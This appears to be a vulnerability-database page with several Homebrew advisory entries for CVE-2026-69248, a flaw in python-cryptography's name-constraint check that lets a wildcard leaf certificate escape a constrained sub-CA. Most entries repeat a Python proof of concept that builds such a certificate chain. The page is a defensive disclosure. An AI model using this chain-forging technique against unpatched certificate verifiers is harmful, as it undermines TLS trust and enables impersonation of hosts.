Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-ANSIBLE@10-CVE-2026-69248 (GHSA-M2H6-J472-RP4C)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-08 00:10 – Source website
    VLAI
    Summary
    python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
    Details

    Summary

    If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

    PoC

    #!/usr/bin/env python3
    """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
    
    Setup:
      Sub-CA permitted constraint: dNSName = foo.example.com
      Leaf SAN:                    dNSName = *.example.com
    Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
    Observed: pyca accepts; further, asks server-verifier whether the leaf is
    authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
    escape.
    """
    import datetime
    from cryptography import x509
    from cryptography.x509.oid import NameOID
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import ec
    from cryptography.x509.verification import (
        PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
    )
    
    now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
    day = datetime.timedelta(days=1)
    
    def build(subject, issuer, key, issuer_key, ca, exts=()):
        b = (x509.CertificateBuilder()
             .subject_name(subject).issuer_name(issuer)
             .public_key(key.public_key())
             .serial_number(x509.random_serial_number())
             .not_valid_before(now - 30 * day)
             .not_valid_after(now + 3650 * day)
             .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
        for e, c in exts:
            b = b.add_extension(e, c)
        return b.sign(issuer_key, hashes.SHA256())
    
    # Root
    rk = ec.generate_private_key(ec.SECP256R1())
    rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
    root = build(rn, rn, rk, rk, True)
    
    # Sub-CA constrained to foo.example.com
    sk = ec.generate_private_key(ec.SECP256R1())
    sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
    nc = x509.NameConstraints(
        permitted_subtrees=[x509.DNSName("foo.example.com")],
        excluded_subtrees=None,
    )
    sub = build(sn, rn, sk, rk, True, [(nc, True)])
    
    # Leaf with SAN *.example.com (over-broad relative to the constraint)
    lk = ec.generate_private_key(ec.SECP256R1())
    ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
    san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
    leaf = build(ln, sn, lk, sk, False, [(san, False)])
    
    # Policies
    ca_pol = ExtensionPolicy.permit_all().require_present(
        x509.BasicConstraints, Criticality.AGNOSTIC, None,
    )
    ee_pol = ExtensionPolicy.permit_all().require_present(
        x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
    )
    v = (
        PolicyBuilder()
        .store(Store([root]))
        .time(now)
        .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
        .build_server_verifier(x509.DNSName("bar.example.com"))
    )
    try:
        v.verify(leaf, [sub])
        print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
    except VerificationError as e:
        print(f"EXPECTED: VerificationError: {e}")
    

    Impact

    Acceptance of invalid certificate chain.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "cryptography",
            "resource_purl": "pkg:pypi/cryptography@46.0.3",
            "upstream_fixed_in": "49.0.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@10",
            "purl": "pkg:brew/ansible%4010"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "10.7.0_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/cryptography@46.0.3",
            "name": "cryptography",
            "resource": "cryptography",
            "strategy": "registry",
            "subject_version": "46.0.3"
          }
        ]
      },
      "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
      "id": "BREW-ansible@10-CVE-2026-69248",
      "modified": "2026-10-08T00:10:55Z",
      "published": "2026-08-13T16:35:22Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/pull/14888"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/286c89128"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyca/cryptography"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
          "type": "CVSS_V4"
        }
      ],
      "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
      "upstream": [
        "GHSA-m2h6-j472-rp4c",
        "CVE-2026-69248",
        "PYSEC-2026-3554"
      ]
    }

    BREW-ANSIBLE@9-CVE-2026-69248 (GHSA-M2H6-J472-RP4C)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-07 22:51 – Source website
    VLAI
    Summary
    python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
    Details

    Summary

    If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

    PoC

    #!/usr/bin/env python3
    """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
    
    Setup:
      Sub-CA permitted constraint: dNSName = foo.example.com
      Leaf SAN:                    dNSName = *.example.com
    Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
    Observed: pyca accepts; further, asks server-verifier whether the leaf is
    authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
    escape.
    """
    import datetime
    from cryptography import x509
    from cryptography.x509.oid import NameOID
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import ec
    from cryptography.x509.verification import (
        PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
    )
    
    now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
    day = datetime.timedelta(days=1)
    
    def build(subject, issuer, key, issuer_key, ca, exts=()):
        b = (x509.CertificateBuilder()
             .subject_name(subject).issuer_name(issuer)
             .public_key(key.public_key())
             .serial_number(x509.random_serial_number())
             .not_valid_before(now - 30 * day)
             .not_valid_after(now + 3650 * day)
             .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
        for e, c in exts:
            b = b.add_extension(e, c)
        return b.sign(issuer_key, hashes.SHA256())
    
    # Root
    rk = ec.generate_private_key(ec.SECP256R1())
    rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
    root = build(rn, rn, rk, rk, True)
    
    # Sub-CA constrained to foo.example.com
    sk = ec.generate_private_key(ec.SECP256R1())
    sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
    nc = x509.NameConstraints(
        permitted_subtrees=[x509.DNSName("foo.example.com")],
        excluded_subtrees=None,
    )
    sub = build(sn, rn, sk, rk, True, [(nc, True)])
    
    # Leaf with SAN *.example.com (over-broad relative to the constraint)
    lk = ec.generate_private_key(ec.SECP256R1())
    ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
    san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
    leaf = build(ln, sn, lk, sk, False, [(san, False)])
    
    # Policies
    ca_pol = ExtensionPolicy.permit_all().require_present(
        x509.BasicConstraints, Criticality.AGNOSTIC, None,
    )
    ee_pol = ExtensionPolicy.permit_all().require_present(
        x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
    )
    v = (
        PolicyBuilder()
        .store(Store([root]))
        .time(now)
        .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
        .build_server_verifier(x509.DNSName("bar.example.com"))
    )
    try:
        v.verify(leaf, [sub])
        print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
    except VerificationError as e:
        print(f"EXPECTED: VerificationError: {e}")
    

    Impact

    Acceptance of invalid certificate chain.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "cryptography",
            "resource_purl": "pkg:pypi/cryptography@46.0.3",
            "upstream_fixed_in": "49.0.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@9",
            "purl": "pkg:brew/ansible%409"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "9.13.0_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/cryptography@46.0.3",
            "name": "cryptography",
            "resource": "cryptography",
            "strategy": "registry",
            "subject_version": "46.0.3"
          }
        ]
      },
      "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
      "id": "BREW-ansible@9-CVE-2026-69248",
      "modified": "2026-10-07T22:51:29Z",
      "published": "2026-08-13T16:35:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/pull/14888"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/286c89128"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyca/cryptography"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
          "type": "CVSS_V4"
        }
      ],
      "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
      "upstream": [
        "GHSA-m2h6-j472-rp4c",
        "CVE-2026-69248",
        "PYSEC-2026-3554"
      ]
    }

    BREW-AZURE-CLI-CVE-2026-69248 (GHSA-M2H6-J472-RP4C)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:37 – Updated: 2026-10-08 01:16 – Source website
    VLAI
    Summary
    python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
    Details

    Summary

    If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

    PoC

    #!/usr/bin/env python3
    """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
    
    Setup:
      Sub-CA permitted constraint: dNSName = foo.example.com
      Leaf SAN:                    dNSName = *.example.com
    Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
    Observed: pyca accepts; further, asks server-verifier whether the leaf is
    authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
    escape.
    """
    import datetime
    from cryptography import x509
    from cryptography.x509.oid import NameOID
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import ec
    from cryptography.x509.verification import (
        PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
    )
    
    now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
    day = datetime.timedelta(days=1)
    
    def build(subject, issuer, key, issuer_key, ca, exts=()):
        b = (x509.CertificateBuilder()
             .subject_name(subject).issuer_name(issuer)
             .public_key(key.public_key())
             .serial_number(x509.random_serial_number())
             .not_valid_before(now - 30 * day)
             .not_valid_after(now + 3650 * day)
             .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
        for e, c in exts:
            b = b.add_extension(e, c)
        return b.sign(issuer_key, hashes.SHA256())
    
    # Root
    rk = ec.generate_private_key(ec.SECP256R1())
    rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
    root = build(rn, rn, rk, rk, True)
    
    # Sub-CA constrained to foo.example.com
    sk = ec.generate_private_key(ec.SECP256R1())
    sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
    nc = x509.NameConstraints(
        permitted_subtrees=[x509.DNSName("foo.example.com")],
        excluded_subtrees=None,
    )
    sub = build(sn, rn, sk, rk, True, [(nc, True)])
    
    # Leaf with SAN *.example.com (over-broad relative to the constraint)
    lk = ec.generate_private_key(ec.SECP256R1())
    ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
    san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
    leaf = build(ln, sn, lk, sk, False, [(san, False)])
    
    # Policies
    ca_pol = ExtensionPolicy.permit_all().require_present(
        x509.BasicConstraints, Criticality.AGNOSTIC, None,
    )
    ee_pol = ExtensionPolicy.permit_all().require_present(
        x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
    )
    v = (
        PolicyBuilder()
        .store(Store([root]))
        .time(now)
        .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
        .build_server_verifier(x509.DNSName("bar.example.com"))
    )
    try:
        v.verify(leaf, [sub])
        print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
    except VerificationError as e:
        print(f"EXPECTED: VerificationError: {e}")
    

    Impact

    Acceptance of invalid certificate chain.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "cryptography",
            "resource_purl": "pkg:pypi/cryptography@48.0.1",
            "upstream_fixed_in": "49.0.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "azure-cli",
            "purl": "pkg:brew/azure-cli"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.0.17"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/cryptography@48.0.1",
            "name": "cryptography",
            "resource": "cryptography",
            "strategy": "registry",
            "subject_version": "48.0.1"
          }
        ]
      },
      "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
      "id": "BREW-azure-cli-CVE-2026-69248",
      "modified": "2026-10-08T01:16:58Z",
      "published": "2026-08-13T16:37:03Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/pull/14888"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/286c89128"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyca/cryptography"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
          "type": "CVSS_V4"
        }
      ],
      "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
      "upstream": [
        "GHSA-m2h6-j472-rp4c",
        "CVE-2026-69248",
        "PYSEC-2026-3554"
      ]
    }

    BREW-CRYPTOGRAPHY-CVE-20… (CVE-2026-69248)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-10-08 00:03 – Source website
    VLAI
    Summary
    python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
    Details

    cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "upstream_fixed_in": "49.0.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "cryptography",
            "purl": "pkg:brew/cryptography"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "42.0.5"
                },
                {
                  "fixed": "49.0.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "git",
        "upstream_evidence": [
          {
            "ecosystem": "GIT",
            "key": "https://github.com/pyca/cryptography",
            "name": "https://github.com/pyca/cryptography",
            "strategy": "git",
            "subject_version": "50.0.2"
          },
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/cryptography@50.0.2",
            "name": "cryptography",
            "strategy": "registry",
            "subject_version": "50.0.2"
          }
        ]
      },
      "details": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.",
      "id": "BREW-cryptography-CVE-2026-69248",
      "modified": "2026-10-08T00:03:43Z",
      "published": "2026-08-13T16:41:16Z",
      "references": [
        {
          "type": "ADVISORY",
          "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69248.json"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
        },
        {
          "type": "FIX",
          "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
        },
        {
          "type": "FIX",
          "url": "https://github.com/pyca/cryptography/pull/14888"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
          "type": "CVSS_V4"
        }
      ],
      "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
      "upstream": [
        "CVE-2026-69248",
        "GHSA-m2h6-j472-rp4c",
        "PYSEC-2026-3554"
      ]
    }

    BREW-PROWLER-CVE-2026-69248 (GHSA-M2H6-J472-RP4C)

    Vulnerability from osv_homebrew – Published: 2026-10-14 19:38 – Updated: 2026-10-14 19:38 – Source website
    VLAI
    Summary
    python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
    Details

    Summary

    If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

    PoC

    #!/usr/bin/env python3
    """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
    
    Setup:
